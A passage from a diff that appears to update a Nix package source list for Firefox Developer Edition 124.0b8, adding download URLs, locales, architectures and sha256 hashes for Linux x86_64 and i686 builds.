"7d9335f226f72b2f4cea0d05c9a473de8183fb0095e3270f937018587d1743e1"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/pa-IN/firefox-124.0b8.tar.bz2"; + locale = "pa-IN"; + arch = "linux-x86_64"; + sha256 = "7131a9c7ede8e091a237a9681ee27d63d951ca0c2ab9c3c36b54fc3fe265d746"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/pl/firefox-124.0b8.tar.bz2"; + locale = "pl"; + arch = "linux-x86_64"; + sha256 = "af5ee6966b6d86a14265813adae3a197aa680c02ffacbab0ff6afc94b356d590"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/pt-BR/firefox-124.0b8.tar.bz2"; + locale = "pt-BR"; + arch = "linux-x86_64"; + sha256 = "7090d17fac42690c2838ea84ce3bcb8a08a0fc9396a057294a6629ff2ebfb6bf"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/pt-PT/firefox-124.0b8.tar.bz2"; + locale = "pt-PT"; + arch = "linux-x86_64"; + sha256 = "da8468391bd00b5ee03e46a744b45ca626496b1af9420c2705d5bc11c8266b12"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/rm/firefox-124.0b8.tar.bz2"; + locale = "rm"; + arch = "linux-x86_64"; + sha256 = "c4d9327c336cf4200cf909d6cb1a673c5c77badbed3a277a94964efccdff290d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ro/firefox-124.0b8.tar.bz2"; + locale = "ro"; + arch = "linux-x86_64"; + sha256 = "9d49135c68be87dd3c3555358ce90fcb5d67d5c326eba024d3bef4d9bea66c64"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ru/firefox-124.0b8.tar.bz2"; + locale = "ru"; + arch = "linux-x86_64"; + sha256 = "717c98a87b4fdb5b1b4f89a37fdd9427f3047573781046dd3697c6cf9b9360a8"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sat/firefox-124.0b8.tar.bz2"; + locale = "sat"; + arch = "linux-x86_64"; + sha256 = "9884d3194ab9635d8d5fb0ce6f1e1b4dff7d396916f43285ecefe5324c1bcad5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sc/firefox-124.0b8.tar.bz2"; + locale = "sc"; + arch = "linux-x86_64"; + sha256 = "00afb58e3e6fd10f52691fc69378c93037c8f3812f38ba25408a44ca978d1417"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sco/firefox-124.0b8.tar.bz2"; + locale = "sco"; + arch = "linux-x86_64"; + sha256 = "3dda5b6f9e6bc2d3b10c47f12fa0673bd065b3f392783d6c0fe291fcfed6d672"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/si/firefox-124.0b8.tar.bz2"; + locale = "si"; + arch = "linux-x86_64"; + sha256 = "f476b7179fed6803d9bc3075ae00689880c24ec05a762e0b43fceef40d8e10d8"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sk/firefox-124.0b8.tar.bz2"; + locale = "sk"; + arch = "linux-x86_64"; + sha256 = "d19816bb7b750dfb03ed88d47075d0c912af3e1c2e7d067649ee47a2af0ef67a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sl/firefox-124.0b8.tar.bz2"; + locale = "sl"; + arch = "linux-x86_64"; + sha256 = "aa83d9502cdfb85037578ac6c5b6bc93f4fa50bb30cc0926de97011c8c618082"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/son/firefox-124.0b8.tar.bz2"; + locale = "son"; + arch = "linux-x86_64"; + sha256 = "64027d1b99bfe100e9bad88e1b7e4b568b82f804be5e8efa855bcec5dca433d5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sq/firefox-124.0b8.tar.bz2"; + locale = "sq"; + arch = "linux-x86_64"; + sha256 = "b8fb2c0e743af3824ab5cd1826eaa9157c4b36c1cd676785bdc4b9dff0cb5403"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sr/firefox-124.0b8.tar.bz2"; + locale = "sr"; + arch = "linux-x86_64"; + sha256 = "936d63bb50e68eae164386b1a759f12972e49fa00501041aeea5fcdea25c5ffc"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/sv-SE/firefox-124.0b8.tar.bz2"; + locale = "sv-SE"; + arch = "linux-x86_64"; + sha256 = "e387a557a1f10e26aa80668db226f8c1f4eb56a80577bf397b0034ce9034b6a7"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/szl/firefox-124.0b8.tar.bz2"; + locale = "szl"; + arch = "linux-x86_64"; + sha256 = "c418fdcfea926e9b7ea8bf046504efe4afd20a2a89d3d64a6d8c72b6052ef38a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ta/firefox-124.0b8.tar.bz2"; + locale = "ta"; + arch = "linux-x86_64"; + sha256 = "1fb9a209749419dcb3ba38c28406f468bb87f4fe353b2783b486bede3ca417b5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/te/firefox-124.0b8.tar.bz2"; + locale = "te"; + arch = "linux-x86_64"; + sha256 = "35aa12ba711241352aaf0a72f4cd523ed75cb2a08d2dc705bb2f663a8bfe7bd5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/tg/firefox-124.0b8.tar.bz2"; + locale = "tg"; + arch = "linux-x86_64"; + sha256 = "00f447b784dfd4f42687a4e7abfecd0c2d27b03bf66b3c5388a6908f383cb6f7"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/th/firefox-124.0b8.tar.bz2"; + locale = "th"; + arch = "linux-x86_64"; + sha256 = "a770af7bfe27c7d7cdebcb1200fdb27919f82b559e6e7f4eb5e1aa6ea2ccf434"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/tl/firefox-124.0b8.tar.bz2"; + locale = "tl"; + arch = "linux-x86_64"; + sha256 = "115ac23a996aafaac14193e441d2bee9e3b52909961ffd62d70e68c1a9573690"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/tr/firefox-124.0b8.tar.bz2"; + locale = "tr"; + arch = "linux-x86_64"; + sha256 = "dcadfb282a5e3f084be99e448cd0aac00c0b5354aa4883aeb964a394f33b9a7d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/trs/firefox-124.0b8.tar.bz2"; + locale = "trs"; + arch = "linux-x86_64"; + sha256 = "19a62eeff342b238c9809f1d4b40294747e7468fd4f91a8d58388074935f409a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/uk/firefox-124.0b8.tar.bz2"; + locale = "uk"; + arch = "linux-x86_64"; + sha256 = "dc415f1cd5a41f03dac20cfc4cfbdf4d26c7ddd4be2ca4b04d51e01bf5e59306"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ur/firefox-124.0b8.tar.bz2"; + locale = "ur"; + arch = "linux-x86_64"; + sha256 = "dafa40eaf630b41fc724b07f768eee71cdd07b5a30a59de495ebf39103d9c9de"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/uz/firefox-124.0b8.tar.bz2"; + locale = "uz"; + arch = "linux-x86_64"; + sha256 = "1c2bb1452ab82b39e9b840191c4a40462fba2e13dbc9615b1fdc34ae0764deee"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/vi/firefox-124.0b8.tar.bz2"; + locale = "vi"; + arch = "linux-x86_64"; + sha256 = "2263cc8f570647b8a824a03dd7faeb58b8aa382a329d084666128e47245700af"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/xh/firefox-124.0b8.tar.bz2"; + locale = "xh"; + arch = "linux-x86_64"; + sha256 = "a77eb182f8025691aa3fd977c73ea96219c54be81d49f7552e09ef3c3b21bb40"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/zh-CN/firefox-124.0b8.tar.bz2"; + locale = "zh-CN"; + arch = "linux-x86_64"; + sha256 = "80335d3dd9c33099116697c51e2fc695c56d6cf0e6b42db45e248f6df92c1ba9"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/zh-TW/firefox-124.0b8.tar.bz2"; + locale = "zh-TW"; + arch = "linux-x86_64"; + sha256 = "591be7b8a030140521f02712a23770a93f8d9da62603eefb3644b2a3ad0d21c4"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ach/firefox-124.0b8.tar.bz2"; + locale = "ach"; + arch = "linux-i686"; + sha256 = "aa76760edf5c2693d1ec694ea10f7ae07b4e09e5aba0b58e106d0ede15e6e35b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/af/firefox-124.0b8.tar.bz2"; + locale = "af"; + arch = "linux-i686"; + sha256 = "e2ba6bad6f07c1923212dbaa47a3c58c379a45e9ff7c9104291ba8b3fcfa1a04"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/an/firefox-124.0b8.tar.bz2"; + locale = "an"; + arch = "linux-i686"; + sha256 = "ca164a264c83e882221fc1b0fab46fa56520ca35193c295950c11c16f660b6eb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ar/firefox-124.0b8.tar.bz2"; + locale = "ar"; + arch = "linux-i686"; + sha256 = "d179a74ab02ccb30cc6c00e610b8689e512a62eed45f1aef75468b566aec063c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ast/firefox-124.0b8.tar.bz2"; + locale = "ast"; + arch = "linux-i686"; + sha256 = "2399fe0d6d2c8de1d6f49a4099e851a566134f96cb445894c6df0f9e278b1c60"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/az/firefox-124.0b8.tar.bz2"; + locale = "az"; + arch = "linux-i686"; + sha256 = "630ebf57df7056d3aada0fd46a9528eb42657e51fee2d7e982b751a417269ab1"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/be/firefox-124.0b8.tar.bz2"; + locale = "be"; + arch = "linux-i686"; + sha256 = "fff4c9023b4ce2f30603c73012e62689c93fa430850c255145d3fe897c43eaaf"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/bg/firefox-124.0b8.tar.bz2"; + locale = "bg"; + arch = "linux-i686"; + sha256 = "bb43272a9e759eb212daaeb275136d1b68e5d991e27d25bf082620d209f797d2"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/bn/firefox-124.0b8.tar.bz2"; + locale = "bn"; + arch = "linux-i686"; + sha256 = "bf57088004b1e0dc8ad4cede525a02926d4f371edb7d4ad8d76c053d727bb851"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/br/firefox-124.0b8.tar.bz2"; + locale = "br"; + arch = "linux-i686"; + sha256 = "18abfec06bc1f23a9a9a182aa2185f16ad3e2f82a7b334077c66af1f9300e26e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/bs/firefox-124.0b8.tar.bz2"; + locale = "bs"; + arch = "linux-i686"; + sha256 = "dae93ad920d4702483cb9206582aa2752f3d8e174ec49b5ce06e44d6de846a1c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ca-valencia/firefox-124.0b8.tar.bz2"; + locale = "ca-valencia"; + arch = "linux-i686"; + sha256 = "3cce7fc4501e374c1d834391ce2055a9c221924da46dcbfd4c7bc44adb046148"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ca/firefox-124.0b8.tar.bz2"; + locale = "ca"; + arch = "linux-i686"; + sha256 = "dfc7e60767c592746f85771f965e0cef5497e8ecfe9e736d4defd44266a446b6"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/cak/firefox-124.0b8.tar.bz2"; + locale = "cak"; + arch = "linux-i686"; + sha256 = "c1d9a227cc7ec9ae4fe3c16680dd6267979c1ecc9ef405a43e2a618a1b3df0b8"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/cs/firefox-124.0b8.tar.bz2"; + locale = "cs"; + arch = "linux-i686"; + sha256 = "2142c9908664c1fd07e8eeee30fb87083eec9bc01e17c67d1a6cd381f498f7bf"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/cy/firefox-124.0b8.tar.bz2"; + locale = "cy"; + arch = "linux-i686"; + sha256 = "f844948dde2a0f6c8117e460ad665cff5c8c65426bb7fe5df1d8a6311d729515"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/da/firefox-124.0b8.tar.bz2"; + locale = "da"; + arch = "linux-i686"; + sha256 = "221f2ff0075634f9068e2354f998c4b7728d85690dc3597eddc2bbe1af9a71d7"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/de/firefox-124.0b8.tar.bz2"; + locale = "de"; + arch = "linux-i686"; + sha256 = "0c351ab75f97337fdb908e26ffcb03a94f76fe8ce540427fa3d2115d8718f1d8"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/dsb/firefox-124.0b8.tar.bz2"; + locale = "dsb"; + arch = "linux-i686"; + sha256 = "17eccf8cf872a54ede61d94f4a06aa263c124ae02f6f71034ac33a9f635357e9"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/el/firefox-124.0b8.tar.bz2"; + locale = "el"; + arch = "linux-i686"; + sha256 = "83f1adb26f9087922db447bb24f75c473bbf58c4747a98ee1355a62155808334"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/en-CA/firefox-124.0b8.tar.bz2"; + locale = "en-CA"; + arch = "linux-i686"; + sha256 = "85e2b7dc78a54ecf5dd9e7338077e9319a65d6b06b99ac546af7615954950046"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/en-GB/firefox-124.0b8.tar.bz2"; + locale = "en-GB"; + arch = "linux-i686"; + sha256 = "a2d8b8f30c94ee77049e4f673fa7f06d3f0c70db9a809bdaae5bd574f01f3cbf"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/en-US/firefox-124.0b8.tar.bz2"; + locale = "en-US"; + arch = "linux-i686"; + sha256 = "518abc1f7ae35072ccef6446a02c4314c1755b11d6cec0624ec03259af3e4ac9"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/eo/firefox-124.0b8.tar.bz2"; + locale = "eo"; + arch = "linux-i686"; + sha256 = "5532249bc5ee61e1943369c7e3436483152a804095451c7bf2633df7286ca389"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/es-AR/firefox-124.0b8.tar.bz2"; + locale = "es-AR"; + arch = "linux-i686"; + sha256 = "f116793316f68401258fe6dbc60cb770ef2a1d96df6f1a9adca865a3b0d590e6"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/es-CL/firefox-124.0b8.tar.bz2"; + locale = "es-CL"; + arch = "linux-i686"; + sha256 = "b163a8125e3eb6a13a63216cabaebd94efd7f6ed398e9c08b221dcab4e8d0bfb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/es-ES/firefox-124.0b8.tar.bz2"; + locale = "es-ES"; + arch = "linux-i686"; + sha256 = "8aaa9ef3b71276a3bee29f5deb4b0526ca47a8fcb6769987d074684f04eee86e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/es-MX/firefox-124.0b8.tar.bz2"; + locale = "es-MX"; + arch = "linux-i686"; + sha256 = "1f85797fc49d9e623324a4fe51e88902d3ddcdd3d4cb0a3f08edd19b70c8c244"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/et/firefox-124.0b8.tar.bz2"; + locale = "et"; + arch = "linux-i686"; + sha256 = "0775246cd8a802f82762921039433b6cd9f5817da20fbb05385d012ac3ab24d3"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/eu/firefox-124.0b8.tar.bz2"; + locale = "eu"; + arch = "linux-i686"; + sha256 = "25bdea2a77f7440fb82cec00ac3cdcfe73d9b9f73c2ee8be9a968a50b2b4c90e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/fa/firefox-124.0b8.tar.bz2"; + locale = "fa"; + arch = "linux-i686"; + sha256 = "73fab87160c95716b4da8b3f04f7d13aa9036c7882d60a7856aa1dda4c928e2c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ff/firefox-124.0b8.tar.bz2"; + locale = "ff"; + arch = "linux-i686"; + sha256 = "d4f2ff849514c55cb04435be331d6d16a9e418317de3481ed4677f49dd163a73"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/fi/firefox-124.0b8.tar.bz2"; + locale = "fi"; + arch = "linux-i686"; + sha256 = "9d6116fdc259c3380afcff8ead9d7624031d80ba2f873e630d86ab8fe8b79892"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/fr/firefox-124.0b8.tar.bz2"; + locale = "fr"; + arch = "linux-i686"; + sha256 = "dbcd97a38f66fb6c3c331a9484639ba089d1ee7887576be67811b6f1ceef5e82"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/fur/firefox-124.0b8.tar.bz2"; + locale = "fur"; + arch = "linux-i686"; + sha256 = "10d0d38bdfbb5c22a02f55e4a46dec24fd5001b6bbe86cc786e390a60305474b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/fy-NL/firefox-124.0b8.tar.bz2"; + locale = "fy-NL"; + arch = "linux-i686"; + sha256 = "ba920fcabad22afda736c77f31fc6d9197483e958c510b2cbc1fcd7bb440409d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ga-IE/firefox-124.0b8.tar.bz2"; + locale = "ga-IE"; + arch = "linux-i686"; + sha256 = "31421bf4e085c4ac196938dfd9fc7bd57964edf9d60211a92a968cfe17102dfb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/gd/firefox-124.0b8.tar.bz2"; + locale = "gd"; + arch = "linux-i686"; + sha256 = "f4e43a5050162e6184dfadaac4b96abf2aecce7db43854c7a9aaade7db076b17"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/gl/firefox-124.0b8.tar.bz2"; + locale = "gl"; + arch = "linux-i686"; + sha256 = "0123d50fb36c7af78acb5c750887b36deccf327564b035ec9c2e6a67a59c69d4"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/gn/firefox-124.0b8.tar.bz2"; + locale = "gn"; + arch = "linux-i686"; + sha256 = "17d2bf565d3ec79cc5ad9c89fd84ccf3ee412c978d5f860fe1abf25f4fb66176"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/gu-IN/firefox-124.0b8.tar.bz2"; + locale = "gu-IN"; + arch = "linux-i686"; + sha256 = "1269a278efb2ece6f0d07cfbbf3a632dad018320feabebe2eb82349f4bb855a5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/he/firefox-124.0b8.tar.bz2"; + locale = "he"; + arch = "linux-i686"; + sha256 = "7cd523d54bcf67a5b61d39ded21e2172c27ca772b422ed2d0b2bff63d4e1bce3"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/hi-IN/firefox-124.0b8.tar.bz2"; + locale = "hi-IN"; + arch = "linux-i686"; + sha256 = "9a5b1c15a41d3b176c6a5e2c516695de601fa71d0075ee96e6f07a9a610015cb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/hr/firefox-124.0b8.tar.bz2"; + locale = "hr"; + arch = "linux-i686"; + sha256 = "2e6516a1dfeb983fe22378160a212ed70fc14b062728d297eec52b241a51f324"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/hsb/firefox-124.0b8.tar.bz2"; + locale = "hsb"; + arch = "linux-i686"; + sha256 = "f77cf0fa3f7d2080eb6761671aefe0041c3d2c516b72d8ae6d8f81ed03007ed0"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/hu/firefox-124.0b8.tar.bz2"; + locale = "hu"; + arch = "linux-i686"; + sha256 = "d0ee83be5bac2cc71f4991d5a032912f71d382c7f7ae5a668172cea7e9301c9c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/hy-AM/firefox-124.0b8.tar.bz2"; + locale = "hy-AM"; + arch = "linux-i686"; + sha256 = "4a7d3dc8a8184cebbf041777cf65e304c886398b90b27b2540021221a7363056"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ia/firefox-124.0b8.tar.bz2"; + locale = "ia"; + arch = "linux-i686"; + sha256 = "30186ea1499238252c4f918f5ca76d5afb576d15ff21d029d31e6f6f6b541196"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/id/firefox-124.0b8.tar.bz2"; + locale = "id"; + arch = "linux-i686"; + sha256 = "d9ceb73e188a90710fe8c8c9b4e32dda51ebf37a02787bc3238590154ea426dc"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/is/firefox-124.0b8.tar.bz2"; + locale = "is"; + arch = "linux-i686"; + sha256 = "ff38b84ccd30753c006597e01ac66ecf2ddc3d3f95116609c53610fcbe9937cb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/it/firefox-124.0b8.tar.bz2"; + locale = "it"; + arch = "linux-i686"; + sha256 = "3eb74a0a81a220a2f95318e0db06edebe7bd8479cf8f81d0f4f8c2c7adedc149"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ja/firefox-124.0b8.tar.bz2"; + locale = "ja"; + arch = "linux-i686"; + sha256 = "db4d2bed4c3c734b01b6705a9dd53994232edd982890eee692030476910dd90a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ka/firefox-124.0b8.tar.bz2"; + locale = "ka"; + arch = "linux-i686"; + sha256 = "0d0d6b513949fd0cd5a586533863472ffe62d4be58d22af841d30525c5190674"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/kab/firefox-124.0b8.tar.bz2"; + locale = "kab"; + arch = "linux-i686"; + sha256 = "0ccc4e6d3c782ceb99a6ceae54d973c8d88b3b5d9fc6bb618624c1fa7b597212"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/kk/firefox-124.0b8.tar.bz2"; + locale = "kk"; + arch = "linux-i686"; + sha256 = "23d0a3e6824b0eea903dfbe98bf6876ee53c2db3acfb5632d662f4525bae92ab"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/km/firefox-124.0b8.tar.bz2"; + locale = "km"; + arch = "linux-i686"; + sha256 = "02dfd503a62e28aeb3dda3b09d6972ec327d238f0f2ef64768705c72e8be7bf2"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/kn/firefox-124.0b8.tar.bz2"; + locale = "kn"; + arch = "linux-i686"; + sha256 = "e07d9f8b2c65a53e485c1fb1a0bc4da6c97cc08c4b458ecb9d506f70d2fdecb5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ko/firefox-124.0b8.tar.bz2"; + locale = "ko"; + arch = "linux-i686"; + sha256 = "b1bc1228711c61aa6661d6d7bd8c9dc14633b91e39c01c529509fab1a694dfa4"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/lij/firefox-124.0b8.tar.bz2"; + locale = "lij"; + arch = "linux-i686"; + sha256 = "25b6aaca1a0fb110d7c1d0cecc8e33f7547a751b4b3a0f231c8a8d7f70d61650"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/lt/firefox-124.0b8.tar.bz2"; + locale = "lt"; + arch = "linux-i686"; + sha256 = "ac056502aa4f2bad9a3546e137d998092a68527cc6be43bd9d6968639755aeb9"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/lv/firefox-124.0b8.tar.bz2"; + locale = "lv"; + arch = "linux-i686"; + sha256 = "68b6ec84d05606f81f297b4b1ff16a2a1dc8fcfedb1cdc767b7da2f510b80e25"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/mk/firefox-124.0b8.tar.bz2"; + locale = "mk"; + arch = "linux-i686"; + sha256 = "5f942d4160e9f90aede2ee9b3b13aada7255e01deae66eba68573355c5217b35"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/mr/firefox-124.0b8.tar.bz2"; + locale = "mr"; + arch = "linux-i686"; + sha256 = "840311613baf8efce83f271c7c83dfc6d77697496f98ffcd27dddd8a2120f928"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ms/firefox-124.0b8.tar.bz2"; + locale = "ms"; + arch = "linux-i686"; + sha256 = "a1d3e3591d229f57a2a7e034a3f8b94bb02732c0573281cd6fe4246f438cab08"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/my/firefox-124.0b8.tar.bz2"; + locale = "my"; + arch = "linux-i686"; + sha256 = "69beb93edaa85ffef9522a9ea56e8afc88a2038650574ae800828ab85c3780e8"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/nb-NO/firefox-124.0b8.tar.bz2"; + locale = "nb-NO"; + arch = "linux-i686"; + sha256 = "3f1b794544cbce7dc677cb8c9256bea073958a4fd1aa959fb08be9d95bbeb885"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ne-NP/firefox-124.0b8.tar.bz2"; + locale = "ne-NP"; + arch = "linux-i686"; + sha256 = "8b9bc5f41692289eeb8e9467347bb36bd49b7fd9a953f20083d265283c0f8fec"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/nl/firefox-124.0b8.tar.bz2"; + locale = "nl"; + arch = "linux-i686"; + sha256 = "9586b5dad0cb92829bdfcfd62bbbf0063c164f45f6f32c20674893eccc5bc87e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/nn-NO/firefox-124.0b8.tar.bz2"; + locale = "nn-NO"; + arch = "linux-i686"; + sha256 = "554278e0e22a6ee6cae6b97af98cf431949994d67a3c45e3d014c077e535bb80"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/oc/firefox-124.0b8.tar.bz2"; + locale = "oc"; + arch = "linux-i686"; + sha256 = "7ad9b9fe11914a409e6399e382769d5714cda263369ecce9623eb48473b21f50"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/pa-IN/firefox-124.0b8.tar.bz2"; + locale = "pa-IN"; + arch = "linux-i686"; + sha256 = "e7aa0ab0df162527d0f1c732557f2167f9db7006f0594159525d16332a9955a6"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/pl/firefox-124.0b8.tar.bz2"; + locale = "pl"; + arch = "linux-i686"; + sha256 = "dcce2bb444c3cf0b87e0287b16dc4957fbcafaae54cd2544e2b4b5cb2b97c84e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/pt-BR/firefox-124.0b8.tar.bz2"; + locale = "pt-BR"; + arch = "linux-i686"; + sha256 = "71e547acf97d111ff652bef1cbda341b15163f6d803ebe22ccf1453d2f561c02"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/pt-PT/firefox-124.0b8.tar.bz2"; + locale = "pt-PT"; + arch = "linux-i686"; + sha256 = "dc2897cb329190a51974759cc2e89d0c575e8a1870cfb262d1409d274508f05c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/rm/firefox-124.0b8.tar.bz2"; + locale = "rm"; + arch = "linux-i686"; + sha256 = "d2d40be605511153cf23f414096f2c84a343296f575f5ffe73a4f473fa697514"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ro/firefox-124.0b8.tar.bz2"; + locale = "ro"; + arch = "linux-i686"; + sha256 = "fae6d516211ca709c302c422e7a41c0fae50cb4b4a99ed6004c94b374ac759af"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ru/firefox-124.0b8.tar.bz2"; + locale = "ru"; + arch = "linux-i686"; + sha256 = "d9fe4059ab150b9dacd0127033830e14fd9a525ad55871d9d85132637fa05231"; + } + { url = 